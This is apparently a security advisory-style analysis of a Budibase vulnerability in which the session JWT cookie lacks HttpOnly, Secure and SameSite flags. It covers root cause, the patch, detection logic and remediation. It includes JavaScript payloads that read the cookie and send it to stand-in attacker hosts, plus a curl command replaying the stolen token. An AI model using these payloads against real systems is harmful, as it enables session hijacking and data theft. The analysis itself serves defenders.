home intel cve-2026-42239-budibase-jwt-cookie-httponly-xss-takeover
CVE Analysis 2026-05-07 · 7 min read

CVE-2026-42239: Budibase JWT Cookie Exposed via httpOnly: false

Budibase sets its auth JWT cookie without httpOnly, secure, or sameSite flags, turning any XSS into full persistent account takeover via document.cookie exfiltration.

#xss-to-account-takeover#jwt-token-theft#insecure-cookie-configuration#authentication-bypass#session-hijacking
Technical mode — for security professionals
▶ Attack flow — CVE-2026-42239 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-42239Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-42239 is a session token exposure vulnerability in Budibase, an open-source low-code platform. The budibase:auth cookie — which carries the user's JWT session token — is configured with httpOnly: false, making it directly readable from JavaScript via document.cookie. Combined with the absence of secure: true and any sameSite directive, this single misconfiguration in packages/backend-core/src/utils/utils.ts means every XSS gadget in the application, regardless of severity, trivially escalates to full account takeover with persistent access. CVSS 8.1 (HIGH).

Root cause: The budibase:auth session JWT cookie is set with httpOnly: false at utils.ts:218, allowing client-side JavaScript to read the token directly via document.cookie, which converts any XSS into a full credential theft primitive.

Affected Component

The vulnerable code lives in a single call site responsible for issuing all session cookies across the Budibase backend:

  • File: packages/backend-core/src/utils/utils.ts, line 218
  • Function: setCookie() (internal session utility)
  • Cookie name: budibase:auth
  • Affected versions: All Budibase releases prior to 3.35.10
  • Platform: Cross-platform (Node.js/Koa backend)

Root Cause Analysis

The session cookie is constructed and attached to the Koa response context inside setCookie(). Prior to 3.35.10, the options object passed to ctx.cookies.set() explicitly sets httpOnly: false and omits both secure and sameSite:

// packages/backend-core/src/utils/utils.ts (pre-3.35.10)
// Pseudocode representation of the TypeScript logic at line ~218

function setCookie(ctx, value, name = "budibase:auth", opts = {}) {
    const cookieContents = value
        ? jwt.sign(value, SECRET, { expiresIn: "1d" })
        : "";

    // BUG: httpOnly is explicitly false — JS can read this cookie
    // BUG: secure is not set — cookie transmits over plaintext HTTP
    // BUG: sameSite is not set — no CSRF mitigation at cookie layer
    ctx.cookies.set(name, cookieContents, {
        expires:  new Date(Date.now() + SESSION_TTL),
        path:     "/",
        httpOnly: false,   // <-- vulnerability: should be true
        // secure: true    // <-- missing
        // sameSite: "strict" // <-- missing
        ...opts,
    });
}

The JWT signed here contains the full user identity payload. Because httpOnly: false is set explicitly (not merely omitted — it is an affirmative misconfiguration), any script executing in the page origin can extract it:

// Attacker payload — executable in any Budibase XSS context
const jwt = document.cookie
    .split("; ")
    .find(c => c.startsWith("budibase:auth="))
    ?.split("=")[1];

// Exfiltrate to attacker-controlled collector
fetch("https://attacker.example/collect?t=" + encodeURIComponent(jwt));

The JWT payload, once decoded, contains the full session identity. No server-side session binding (IP, fingerprint) is enforced, so the stolen token grants indefinite access until expiry or explicit revocation:

// Decoded budibase:auth JWT payload (example)
{
  "userId":    "us_abc123def456",
  "tenantId":  "default",
  "email":     "admin@corp.internal",
  "builder":   { "global": true },
  "admin":     { "global": true },
  "iat":       1718000000,
  "exp":       1718086400    // 24h window — attacker acts within this
}

Exploitation Mechanics

The attack surface is any XSS reachable in the Budibase origin. The platform's low-code nature creates ample injection points: component labels, automation descriptions, app names, and custom JavaScript bindings are all rendered in the same origin as the auth cookie. An attacker with app-editor access (or a stored XSS in a shared app) has everything they need.

EXPLOIT CHAIN — CVE-2026-42239:

1. OBTAIN XSS EXECUTION
   Attacker plants payload in any Budibase-rendered field
   (e.g., app name, component binding, automation webhook label)
   that reflects unsanitized content to a victim's browser.

2. VICTIM LOADS BUDIBASE PAGE
   Browser has budibase:auth cookie set from prior login.
   Cookie is readable by JS because httpOnly: false.

3. PAYLOAD READS document.cookie
   const tok = document.cookie.match(/budibase:auth=([^;]+)/)[1];
   Token is a signed JWT — no additional auth material needed.

4. EXFILTRATE TOKEN
   fetch("https://attacker.tld/c?t=" + encodeURIComponent(tok), {
       mode: "no-cors"  // bypasses CORS — attacker logs POST body
   });
   OR: new Image().src = "https://attacker.tld/c?t=" + tok;

5. ATTACKER REPLAYS JWT
   curl -H "Cookie: budibase:auth=" \
        https://target.budibase.app/api/self
   → 200 OK with full user profile, admin flag, tenant context.

6. PERSISTENT ACCESS
   JWT valid for 24h from issuance. Attacker can:
   - Enumerate all apps:      GET /api/applications
   - Read all table data:     GET /api//tables
   - Create admin users:      POST /api/global/users
   - Download database rows:  GET /api//rows/
   Rotating the session requires victim to explicitly log out.
   If attacker creates a new admin, access survives victim logout.

Memory Layout

This is a logic/configuration vulnerability rather than a memory corruption bug, so the relevant "layout" is the HTTP response header and cookie attribute surface. Observing a pre-patch response confirms the missing flags:

HTTP/1.1 200 OK  (pre-patch, Budibase < 3.35.10)
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[...];
            Path=/;
            Expires=Thu, 12 Jun 2025 00:00:00 GMT
            ← NO HttpOnly flag
            ← NO Secure flag
            ← NO SameSite attribute

HTTP/1.1 200 OK  (post-patch, Budibase >= 3.35.10)
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[...];
            Path=/;
            Expires=Thu, 12 Jun 2025 00:00:00 GMT;
            HttpOnly;
            Secure;
            SameSite=Strict
JAVASCRIPT COOKIE VISIBILITY — BEFORE vs AFTER:

BEFORE (httpOnly: false):
  Browser JS context:
  > document.cookie
  "budibase:auth=eyJhbGc...[FULL JWT]...; other=value"
                ^^^^^^^^^^^^^^^^^^^^^^^^^
                FULLY READABLE — token extractable in one regex

AFTER (httpOnly: true):
  Browser JS context:
  > document.cookie
  "other=value"
  budibase:auth is ABSENT from JS-accessible cookie string.
  Token exists in browser but kernel/browser isolates it —
  only sent in HTTP request headers, never exposed to scripts.

Patch Analysis

The fix in version 3.35.10 modifies packages/backend-core/src/utils/utils.ts to harden all three missing cookie attributes simultaneously:

// BEFORE (vulnerable — pre-3.35.10):
ctx.cookies.set(name, cookieContents, {
    expires:  new Date(Date.now() + SESSION_TTL),
    path:     "/",
    httpOnly: false,   // explicit opt-out of protection
    // secure and sameSite absent
    ...opts,
});

// AFTER (patched — 3.35.10, GHSA-4f9j-vr4p-642r):
ctx.cookies.set(name, cookieContents, {
    expires:  new Date(Date.now() + SESSION_TTL),
    path:     "/",
    httpOnly: true,      // FIXED: JS cannot read cookie
    secure:   true,      // FIXED: HTTPS-only transmission
    sameSite: "strict",  // FIXED: blocks cross-site request forgery
    ...opts,
});

Note the ...opts spread at the end. Any caller passing httpOnly: false in opts can still override the new defaults. Auditors should verify no internal call site passes a conflicting override.

Detection and Indicators

Detecting exploitation attempts requires visibility into both the HTTP layer and outbound network from victim browsers.

Server-side detection — same JWT replayed from a new IP/UA:

# Pseudo-detection logic for SIEM / WAF rule
def detect_jwt_replay(request_log):
    for jwt_token, sessions in group_by_token(request_log):
        ips = {s.remote_ip for s in sessions}
        uas = {s.user_agent for s in sessions}
        if len(ips) > 1 or len(uas) > 1:
            # Same JWT used from multiple IPs or user agents
            alert(f"Possible stolen JWT replay: token={jwt_token[:20]}... "
                  f"IPs={ips}, UAs={uas}")

Network-level IOCs to hunt:

INDICATORS OF COMPROMISE:

1. Outbound requests from Budibase origin containing JWT in URL params:
   Pattern: GET /collect?t=eyJhbGci... (token in query string)
   Look for: fetch/XHR/img-src to external domains carrying base64url data

2. HTTP (not HTTPS) transmission of budibase:auth cookie:
   Pre-patch: cookie sent in cleartext — MITM interception possible
   Detection: inspect proxy logs for Set-Cookie without Secure flag

3. API calls with valid JWT but anomalous metadata:
   - /api/global/users POST from non-admin IP range
   - /api/applications GET immediately after auth (recon pattern)
   - High-frequency /api//rows reads (data exfil)

4. Source code indicator — grep for the misconfiguration:
   $ grep -n "httpOnly" packages/backend-core/src/utils/utils.ts
   218:        httpOnly: false,   <-- vulnerable if present

Remediation

Immediate: Upgrade to Budibase 3.35.10 or later. The patch is a one-line change with high confidence — no API surface changes, no migration required.

If upgrade is not immediately possible:

  • Place Budibase behind a reverse proxy (nginx/Caddy) that rewrites Set-Cookie headers to inject HttpOnly; Secure; SameSite=Strict before cookies reach the client.
  • Enforce HTTPS-only at the load balancer and set HSTS to prevent downgrade attacks that would expose the unprotected cookie in plaintext.
  • Audit all Budibase app components for stored XSS: component names, automation descriptions, and any field that accepts free-text and renders it in the same browser origin.
  • Rotate all active Budibase sessions immediately if exposure is suspected — the JWT secret can be rotated via environment variable to invalidate all existing tokens.

Defense in depth: Even with the patch applied, consider implementing server-side session binding (store session metadata — IP, UA hash — on issue and validate on each request) to limit the utility of any token stolen through channels not covered by this fix (e.g., server-side log exposure, memory disclosure).

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →